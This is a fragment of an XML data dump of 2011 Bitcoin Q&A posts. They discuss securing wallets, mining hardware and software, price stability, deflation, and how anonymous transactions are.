&lt;strong&gt;You should not invest money into bitcoins or Bitcoin-related technologies unless you can afford to lose it!&lt;/strong&gt;  Even firm believers in Bitcoin tend to think it will take a while for the value of bitcoins to stabilise, and no one knows at what value that stabilisation might occur.  Trade and transact safely!&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="27232" LastEditDate="2015-08-14T03:29:33.753" LastActivityDate="2015-08-14T03:29:33.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36" PostTypeId="1" AcceptedAnswerId="90" CreationDate="2011-08-30T21:35:09.083" Score="11" ViewCount="790" Body="&lt;p&gt;The nice thing about bitcoin is that it generates partially anonymous data about every single transaction. Can this data be used to gain insight about real-world markets? Or are there some fundamental differences that cannot be accounted for? If this data can be used, does anybody have any references on academic papers that use the bitcoin data?&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="5406" LastEditDate="2014-09-03T11:39:24.840" LastActivityDate="2014-09-03T11:39:24.840" Title="Can bitcoin transaction data be used to study markets?" Tags="|bitcoin-economy|academic-research|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37" PostTypeId="2" ParentId="32" CreationDate="2011-08-30T21:35:54.087" Score="-2" Body="&lt;p&gt;It's just a new method of conducting transactions, similar to paypal but impossible to reverse transactions.  People who don't understand it call it a scam, but it is not.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-08-30T21:35:54.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38" PostTypeId="2" ParentId="13" CreationDate="2011-08-30T21:36:32.900" Score="2" Body="&lt;p&gt;Well, the GDP measured in bitcoins probably wouldn't grow at all, most likely it will shrink. However, that doesn't mean the economy shrinks, just that the bitcoins are increasing in worth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In deflation adjusted bitcoins, I think that the GDP will grow, and if only because micro- and international transactions are vastly simplified. However, I expect that it would also lead to a collapse of the traditional banking system, since those are superficial now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, note that a growing economy isn't necessarily positive. If you take into account that resources on earth are not infinite but limited, it becomes obvious that a stable, not growing economy (I think that's what you mean by GDP) is preferable.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2011-08-30T21:45:53.947" LastActivityDate="2011-08-30T21:45:53.947" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="40" PostTypeId="2" ParentId="28" CreationDate="2011-08-30T21:37:12.003" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=17240.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=17240.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link will show you how to create a secure wallet.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-08-30T21:37:12.003" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41" PostTypeId="2" ParentId="28" CreationDate="2011-08-30T21:37:35.083" Score="20" Body="&lt;p&gt;One method commonly in use is an &quot;offline wallet.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate an offline wallet, launch a bitcoin client on a known clean computer, virtual machine, or use a bootable Linux distribution like LinuxCoin. &lt;strong&gt;Make sure this system is NOT connected to the internet for this process.&lt;/strong&gt; When the bitcoin client is first launched, it generates a brand new wallet.dat file with one address. Save that wallet.dat file to a thumb drive along with a text file containing your new bitcoin address. Delete the wallet.dat from the machine once you've copied it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any coins sent to that address are only accessible to someone holding the wallet.dat file on your thumb drive and since the computer which generated that thumb drive has never seen the internet so it's a pretty fair bet that your copy is the only copy. Send any coins you want to secure to your &quot;offline&quot; wallet's address and use your thumb drive to recover the coins when needed. Remember that once you've used the wallet on the thumb drive, it is now &quot;burned&quot; and a new one must be generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; &lt;em&gt;There is an excellent resource for wallet-securing techniques available on &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet&quot;&gt;the Bitcoin wiki&lt;/a&gt; which also covers backup methods, encryption and many other topics at far too great a length to cover in a single answer.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-01T20:55:15.697" LastActivityDate="2011-09-01T20:55:15.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42" PostTypeId="2" ParentId="8" CreationDate="2011-08-30T21:39:42.943" Score="3" Body="&lt;p&gt;Bitcoin client provides RPC calls which are in JSON, you could communicate via the RPC to make your app.&lt;/p&gt;&#xA;" OwnerUserId="54" LastActivityDate="2011-08-30T21:39:42.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43" PostTypeId="2" ParentId="36" CreationDate="2011-08-30T21:41:28.933" Score="2" Body="&lt;p&gt;This is still a fledgling currency. You can see how Bitcoin lacks credibility by listening to the &lt;a href=&quot;http://www.npr.org/blogs/money/2011/08/24/138673630/what-is-bitcoin&quot; rel=&quot;nofollow&quot;&gt;recent publication on NPR&lt;/a&gt;. Overall there is a great deal of misinformation, and lack of credible citations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although, there are substantial &lt;a href=&quot;http://www.ics.uci.edu/~yangwang/papers/CHI08-AuthorCopy.pdf&quot; rel=&quot;nofollow&quot;&gt;studies&lt;/a&gt; of &lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_economy&quot; rel=&quot;nofollow&quot;&gt;virtual currency&lt;/a&gt;, there are no published studies from accredited sources concerning bitcoin proper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes for a good economics thesis, there are plenty of hypotheses to explore!&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2011-08-30T21:58:05.740" LastActivityDate="2011-08-30T21:58:05.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="44" PostTypeId="2" ParentId="28" CreationDate="2011-08-30T21:42:05.287" Score="3" Body="&lt;p&gt;This is an involved topic and the answer will change as bitcoin clients improve.  Here is what works for me...use a drive encryption solution (i.e. truecrypt) and keep your wallet.dat file on it (you'll need to read the docs about how to relocate the wallet.dat file to a different location).  I recommend using aes256 encryption.  Make sure you remember your password used to encrypt the drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After creating a wallet on the encrypted drive, shut down bitcoin and unmount the encrypted drive (important to avoid data corruption).  For backup, just copy the &lt;em&gt;encrypted&lt;/em&gt; drive to other devices both inside and outside your home (i.e. online storage provider).  Since the volume is encrypted with strong encryption, it will be unusable for anyone that obtains a copy and you will have multiple copies in case your hard drive crashes (just don't lose your password!).  Anytime you spend coins out of your wallet or generate new addresses, you should update your backups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, this solution may not protect you from viruses...you should never handle your unencrypted wallet.dat file on a computer you suspect may be infected with viruses.  There are wallet stealing viruses in the wild.  There are more advanced measures that can be taken that further mitigate the threat posed by viruses.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2011-08-30T21:42:05.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="45" PostTypeId="2" ParentId="2" CreationDate="2011-08-30T21:43:29.967" Score="4" Body="&lt;p&gt;This depends quite  a bit on your cost for electricity. In general, the ATI 6990 (758 MH/s) is fastest, but it consumes quite a bit of energy. The ATI 5970 (655 MH/s) runs at 86% of the speed of a 6990, but consumes less power. If you have a limited number of slots on your motherboard with cheap electricity, choose the ATI 6990. If you have unlimited PCI-E slots and relatively expensive electricity, choose the ATI 5970.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: There is no such thing as &quot;free&quot; electricity. Someone is paying for it. If you believe you have free electricity (i.e. a dorm) it is likely that someone is paying a cost for that power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="56" LastActivityDate="2011-08-30T21:43:29.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="46" PostTypeId="2" ParentId="1" CreationDate="2011-08-30T21:45:21.437" Score="9" Body="&lt;p&gt;GPU Miners&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DiabloMiner - https://github.com/Diablo-D3/DiabloMiner&#xA;&#xA;poclbm      - https://github.com/m0mchil/poclbm&#xA;&#xA;hashkill    - 64-bit http://www.gat3way.eu/poc/hashkill-0.2.4-x86_64.tgz &#xA;&#xA;              32-bit http://www.gat3way.eu/poc/hashkill-0.2.4-x86.tgz   &#xA;&#xA;Phoenix     - https://github.com/jedi95/Phoenix-Miner&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CPU Miners&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jgarzik     - https://github.com/jgarzik/cpuminer.git&#xA;&#xA;Ufasoft     - http://ufasoft.com/open/bitcoin/&#xA;&#xA;FPGAminer   - https://github.com/progranism/Open-Source-FPGA-Bitcoin-Miner&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26" LastActivityDate="2011-08-30T21:45:21.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="48" PostTypeId="2" ParentId="16" CreationDate="2011-08-30T21:46:56.067" Score="12" Body="&lt;p&gt;&lt;a href=&quot;http://www.weusecoins.com/&quot; rel=&quot;nofollow&quot;&gt;Weusecoins.com&lt;/a&gt; has an excellent video on the basic premise of bitcoin. Bitcoin is a very complicated platform, and really has two separate entities. There is bitcoin the currency, and bitcoin the currency ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wiki available at &lt;a href=&quot;http://www.bitcoin.it&quot; rel=&quot;nofollow&quot;&gt;bitcoin.it&lt;/a&gt; will give you more in depth information if the weusecoins video is too broad.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="132" LastEditDate="2011-09-10T23:56:28.883" LastActivityDate="2011-09-10T23:56:28.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="49" PostTypeId="2" ParentId="28" CreationDate="2011-08-30T21:47:06.577" Score="2" Body="&lt;p&gt;There are a few options available. Here are a couple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encryption with Winrar is secure if you use a long password with no dictionary words, both upper case and lower case letters, numbers and special characters in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Truecrypt is more secure but most people don't have it already installed, so it's little more time to get it setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever password you use to encrypt, make sure to record it on paper, and physically store it in a couple of easy to remember and secure locations that you will not forget. Without it, you won't be able to decrypt and access your bitcoin wallet.&lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="7" LastEditDate="2011-08-30T21:52:59.833" LastActivityDate="2011-08-30T21:52:59.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="50" PostTypeId="2" ParentId="36" CreationDate="2011-08-30T21:47:20.450" Score="2" Body="&lt;p&gt;I'm not aware of any serious studies on the topic but I &lt;em&gt;have&lt;/em&gt; seen folks on the forum talking about how bitcoin price seems to correlate with the google trends data on bitcoin-related searches. Compare: &lt;a href=&quot;http://www.google.com/trends?q=bitcoin&amp;amp;ctab=0&amp;amp;geo=all&amp;amp;date=ytd&amp;amp;sort=0&quot; rel=&quot;nofollow&quot;&gt;Google Trends&lt;/a&gt; and &lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD#rg360ztgMzm1g60zm2g15zi1gAroonOsczi2gBBWzi3gMDXzi4gMACD&quot; rel=&quot;nofollow&quot;&gt;MtGox Price&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there's sort of a study on popularity/price ratios, though it's hardly been conducted with any sort of scientific rigor. I'd assume that there are many such studies to be found, the limits from the bitcoin side of the fence are quite few so I'd say the upper limit is your imagination.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-30T21:47:20.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="51" PostTypeId="2" ParentId="28" CreationDate="2011-08-30T21:47:44.180" Score="17" Body="&lt;p&gt;The &quot;offline wallet&quot; method described by David Perry is a good way to securely &lt;em&gt;generate&lt;/em&gt; a bitcoin address/wallet.dat but in order to be secure from both loss and theft the first thing you will want to do is encrypt that wallet, and then make &lt;strong&gt;many&lt;/strong&gt; different copies of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One easy way to do this is using the program &lt;a href=&quot;http://www.truecrypt.org/&quot;&gt;TrueCrypt&lt;/a&gt; as explained &lt;a href=&quot;http://bitcointalk.org/?topic=5194.0&quot;&gt;here&lt;/a&gt;.  To summarise the contents of the link, you will use the default options in the software to create an encrypted volume, then move your &quot;wallet.dat&quot; file into it as soon as you create it on the trusted, offline computer.  This will create an encrypted copy that can be placed on a thumbdrive and then saved in multiple locations such as &lt;a href=&quot;http://mail.google.com&quot;&gt;gmail&lt;/a&gt;, &lt;a href=&quot;http://db.tt/NXE7TIX&quot;&gt;dropbox&lt;/a&gt;, a physical safe, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also &lt;em&gt;highly&lt;/em&gt; recommend testing the file once with a small amount before copying any substantial sum of bitcoins to your newly created address.  If you are satisfied with both the test and all the precautions you have taken, then transfer the rest.  You can keep your wallet secure by not accessing it frequently, so this should be used as a savings wallet and not for regular transactions.  Hope this helps!  Also, you can find an excellent overview of good wallet practices and security methods at &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet&quot;&gt;https://en.bitcoin.it/wiki/Securing_your_wallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2011-08-30T22:55:02.700" LastActivityDate="2011-08-30T22:55:02.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="52" PostTypeId="1" AcceptedAnswerId="61" CreationDate="2011-08-30T21:50:20.573" Score="66" ViewCount="35459" Body="&lt;p&gt;I read some sources that say Bitcoin transactions are anonymous, some that say they are semi-anonymous, and some that say they are not anonymous at all.  In what ways are the transactions anonymous and in what ways are they not anonymous?&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2018-01-18T15:59:05.730" Title="How anonymous are Bitcoin transactions?" Tags="|transactions|privacy|blockchain|" AnswerCount="9" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="53" PostTypeId="1" AcceptedAnswerId="76" CreationDate="2011-08-30T21:50:40.397" Score="10" ViewCount="3573" Body="&lt;p&gt;I want to create a transparent gambling/lotto site and use the block chain as entropy for lotto numbers, dice rolls, that kind of thing.  Would the transaction hash of the latest transaction be the best way to do this?  How often are transaction hashes created?  How would you, programmatically, access them?  &lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="22837" LastEditDate="2015-02-18T09:08:11.893" LastActivityDate="2015-02-18T09:08:11.893" Title="Is there a way to use the block chain as entropy in random number generator?" Tags="|block-header|blockchain|" AnswerCount="4" CommentCount="5" ClosedDate="2011-09-21T00:51:01.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="54" PostTypeId="2" ParentId="16" CreationDate="2011-08-30T21:51:56.637" Score="4" Body="&lt;p&gt;I think that the &lt;a href=&quot;http://www.bitcoin.it/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin wiki&lt;/a&gt; is actually a very good place to learn about Bitcoin. Just read the articles there. If you don't understand something, just continue reading and then follow up on the terms you didn't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then still have questions left, feel free to ask them here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: &lt;a href=&quot;http://www.weusecoins.com/&quot; rel=&quot;nofollow&quot;&gt;we use coins&lt;/a&gt; is also a good place to start, especially the video mentioned by Matth1a3.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="5406" LastEditDate="2015-07-28T13:59:05.193" LastActivityDate="2015-07-28T13:59:05.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="55" PostTypeId="2" ParentId="22" CreationDate="2011-08-30T21:52:29.213" Score="1" Body="&lt;p&gt;Possible: Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probable: No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many events are possible even though they're not probable. The likelihood of bruteforcing a bitcoin private key is improbable enough that with current computing standards it is, for all intents and purposes, impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the science of cryptography develops and as bruteforcing becomes more powerful the underlying bitcoin infrastructure will be improved to keep pace with the improving technology. This may require accessing your bitcoin wallet using an improved client in the future to maintain a high standard of security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, a bitcoin address is not the same as a private key. Generating a bitcoin address will allow an attacker to send you coins, but it would not allow them to sign transactions with your private key (i.e. remove coins from your wallet).&lt;/p&gt;&#xA;" OwnerUserId="56" LastActivityDate="2011-08-30T21:52:29.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="56" PostTypeId="2" ParentId="32" CreationDate="2011-08-30T21:52:38.333" Score="1" Body="&lt;p&gt;Bitcoin is definitely not a scam.  People have opinions about whether it will or will not succeed, but it's not a scam.  It like to think of it as the first money that is designed for the internet.  There have been previous attempts at digital money, but all have relied on a central authority to solve the &quot;double spend&quot; problem.  Until the advent of bitcoin, a transaction on the internet required a third party to the transaction (for example, a bank that manages account balances).  Bitcoin, like cash, requires no third party.  Also like cash, it is an irreversible transaction and can be stolen.  Bitcoin was designed with the modern internet in mind unlike credit cards (invented in the 1950s) or ACH (invented in 1972).  Bitcoin can serve as a solid (as in secure) foundation on which many other financial instruments and innovations can be based.  The software systems that the current banking system uses are antiquated, haphazardly put together, and could not have foreseen the needs of the modern internet.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2011-08-30T21:52:38.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="57" PostTypeId="2" ParentId="8" CreationDate="2011-08-30T21:52:39.317" Score="9" Body="&lt;p&gt;Currently there are only a few mobile apps that use the bitcoin protocol itself. Most communicate with a bitcoin client on a remote machine using the &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot;&gt;JSON API.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those few that do, rely on &lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot;&gt;BitcoinJ&lt;/a&gt; which is a &quot;selfish&quot; implementation of bitcoin that runs in Java (handily the native language for Android apps). It's got a few key modifications that bring its overhead low enough to run on embedded devices, most notably it does not download all blocks in the block-chain, only those blocks which relate to addresses in its own wallet (hence &quot;selfish&quot; client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either method works, and either is as valid a starting point as the other, given the current state of bitcoin's mobile development.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-30T21:52:39.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="58" PostTypeId="2" ParentId="52" CreationDate="2011-08-30T21:53:48.897" Score="3" Body="&lt;p&gt;They are anonymous in that we don't know the name of the physical holder of a wallet. However, the interactions in terms of wallet ids are completely public. See these questions for more details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cstheory.stackexchange.com/q/7145/1037&quot;&gt;https://cstheory.stackexchange.com/q/7145/1037&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://crypto.stackexchange.com/q/508/617&quot;&gt;https://crypto.stackexchange.com/q/508/617&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2011-08-30T21:53:48.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="59" PostTypeId="1" AcceptedAnswerId="77" CreationDate="2011-08-30T21:54:14.593" Score="43" ViewCount="37856" Body="&lt;p&gt;I would like to start mining, but my GPU isn't the greatest and I don't really want to spend the money on a dedicated rig. Is mining from my CPU (in a Linux environment) still worth it? Or will I not be able to keep up?&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="5406" LastEditDate="2016-01-21T15:22:31.887" LastActivityDate="2016-01-21T15:22:31.887" Title="Is CPU mining even worth it?" Tags="|linux|mining-profitability|cpu-mining|" AnswerCount="8" CommentCount="0" ClosedDate="2015-11-07T18:14:59.163" ContentLicense="CC BY-SA 3.0" />
  <row Id="60" PostTypeId="1" CreationDate="2011-08-30T21:56:08.583" Score="3" ViewCount="518" Body="&lt;p&gt;It seems like the only way to sell BTC for products/services is to have the BTC reflect how other currencies are doing. I'm not great in economics but can it ever be stable?&lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="5406" LastEditDate="2014-11-01T12:47:46.800" LastActivityDate="2014-11-01T12:57:24.237" Title="Can the price of Bitcoin ever be stable to the USD?" Tags="|bitcoin-economy|price-volatility|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="61" PostTypeId="2" ParentId="52" CreationDate="2011-08-30T21:56:37.597" Score="45" Body="&lt;p&gt;Technically the appropriate term is &quot;pseudonymous&quot; - imagine that your bitcoin address is like an email address or an online alias: how hard it is to trace to your actions depend largely on what you do with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is, for example, a bitcoin address in my forum signature that would obviously be VERY traceable back to me. On the other hand if I install the client on a separate system which only connects to the internet through TOR and obtain my bitcoins by mining them from a pool like &lt;a href=&quot;https://en.bitcoin.it/wiki/Eligius&quot;&gt;Eligius&lt;/a&gt; (no accounts/email necessary, they only ask for a bitcoin address) then it would be very difficult indeed to trace those funds to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course there are shades of gray in-between. As I said, think of it as being an email address and then consider how your actions with that bitcoin address can be tied to you. It's difficult but possible to make truly anonymous bitcoin transactions.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-30T21:56:37.597" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="62" PostTypeId="2" ParentId="53" CreationDate="2011-08-30T21:57:30.917" Score="2" Body="&lt;p&gt;Only sort of. The transaction hash is specifically chosen &lt;em&gt;because&lt;/em&gt; it is smaller than some number X (--&gt; difficulty factor), so it isn't fully random. However, it has a lot of entropy in the sense that it contains input from a lot of different, not predictable transactions. So you could use this hash as a seed for your RNG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to generate lotto numbers and dice rolls, I'd say it's more important that you find a good random number generator (RNG) - you won't reseed that often anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to use the hash as the random number directly, there's a problem: you only get one hash every ~10 minutes. Not all that many random numbers.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2011-08-30T21:57:30.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="64" PostTypeId="2" ParentId="53" CreationDate="2011-08-30T21:57:53.247" Score="0" Body="&lt;p&gt;You could scrape data from &lt;a href=&quot;http://bitcoincharts.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/bitcoin/&lt;/a&gt; to get the hashes of transactions that had just been submitted.  It wouldn't super easy to do, but it'd be a constant source of fairly random data.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-08-30T21:57:53.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="65" PostTypeId="2" ParentId="59" CreationDate="2011-08-30T21:58:24.287" Score="13" Body="&lt;p&gt;It depends on your specific valuation of &quot;worth it.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By most valuations (i.e. value of BTC produced &gt; electricity costs) it is not, but if you don't pay for electricity it might be. It might also be worth it to you to mine at a loss if you truly believe that 1 BTC might be worth thousands someday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Realistically, though, it is probably more worthwhile to simply purchase BTC at an exchange or from another user.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-30T21:58:24.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="66" PostTypeId="1" AcceptedAnswerId="74" CreationDate="2011-08-30T21:58:29.643" Score="53" ViewCount="10214" Body="&lt;p&gt;With the limited total quantity of bitcoins, and people losing their wallets constantly decreasing that number, won't rampant deflation destroy Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="5406" LastEditDate="2014-11-01T11:27:03.293" LastActivityDate="2021-02-22T20:31:24.150" Title="Will deflation destroy Bitcoin?" Tags="|bitcoin-economy|weaknesses|deflation|shrinking-money-supply|" AnswerCount="14" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="67" PostTypeId="2" ParentId="60" CreationDate="2011-08-30T21:59:48.533" Score="0" Body="&lt;p&gt;Bitcoin is still very new, it is unlikely that it will sit at one price for a very long period of time.  When all of the bitcoins have been mined it is much more likely to sit at a stable price.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-08-30T21:59:48.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="68" PostTypeId="2" ParentId="59" CreationDate="2011-08-30T22:01:01.463" Score="0" Body="&lt;p&gt;CPU mining is only worth it if you are not paying for your electricity.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-08-30T22:01:01.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="69" PostTypeId="2" ParentId="52" CreationDate="2011-08-30T22:01:49.980" Score="11" Body="&lt;p&gt;It is considered pseudo-anonymous.  With casual usage, it is not very anonymous at all.  Transactions occur between cryptographic addresses and anyone can create any number of these addresses.  However, Bitcoin transactions can be traced back to your IP address.  The history of all transactions can be analyzed for spatial and temporal correlations.  If one address can be linked to a person, then related transactions can be identified.  I would say that bitcoin offers a degree of privacy not offered by other means of online payment, but for a sufficiently motivated entity, it is possible to reconstruct a person's bitcoin transaction activity.  There are steps that one can take to make it more anonymous, but it is certainly not as anonymous as physical cash.  And, you have to know what you're doing to use it in complete anonymity.  I would not advise using bitcoin if you are seeking complete anonymity.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2011-08-30T22:01:49.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="70" PostTypeId="2" ParentId="22" CreationDate="2011-08-30T22:02:03.257" Score="12" Body="&lt;p&gt;No, it is not possible, for two reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you would have to generate and hash an unimaginably large number of ECDSA keypairs to have a reasonable chance of finding a collision. With current computing power, that would take longer than the age of the universe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, as pointed out in the other answers it is much more profitable to generate bitcoins if you have lots of computing power.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="196" LastEditDate="2012-02-12T15:54:06.823" LastActivityDate="2012-02-12T15:54:06.823" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="71" PostTypeId="2" ParentId="60" CreationDate="2011-08-30T22:02:07.733" Score="1" Body="&lt;p&gt;The price is a reflection of basic market forces at work: supply and demand.  Currently relatively small transactions represent a large portion of the market, so this can naturally lead to some inefficiencies.  Nobody can know for sure whether stability will be reached, but it seems likely to me that stability will tend to increase with the number of active users.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2011-08-30T22:02:07.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="72" PostTypeId="1" AcceptedAnswerId="303" CreationDate="2011-08-30T22:02:20.277" Score="37" ViewCount="29386" Body="&lt;p&gt;Some services, such as &lt;a href=&quot;http://bitcoinlaundry.com/&quot;&gt;bitcoinlaundry.com&lt;/a&gt;, claim that they can launder your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since all bitcoin transactions are publicly logged, how is this done? Wouldn't it be possible to trace back the transactions and find out the initial address?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2011-08-31T18:11:02.100" LastActivityDate="2022-09-20T15:14:13.633" Title="How is it possible to launder bitcoins?" Tags="|transactions|blockchain|privacy|address|money-laundering|" AnswerCount="10" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="73" PostTypeId="2" ParentId="52" CreationDate="2011-08-30T22:02:37.150" Score="4" Body="&lt;p&gt;They are not anonymous at all. Bitcoin is just a distributed accounting scheme - every client stores all transactions, so no secret transactions are possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if there's no way to tie a specific address to you (you bought your bitcoins with cash) and no way to tie the receiver of your transaction to you (you simply donated to the EFF) then it's pseudonymous. Everybody knows that a transaction to the EFF has taken place from some address, but nobody knows it's you.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2011-08-30T22:02:37.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
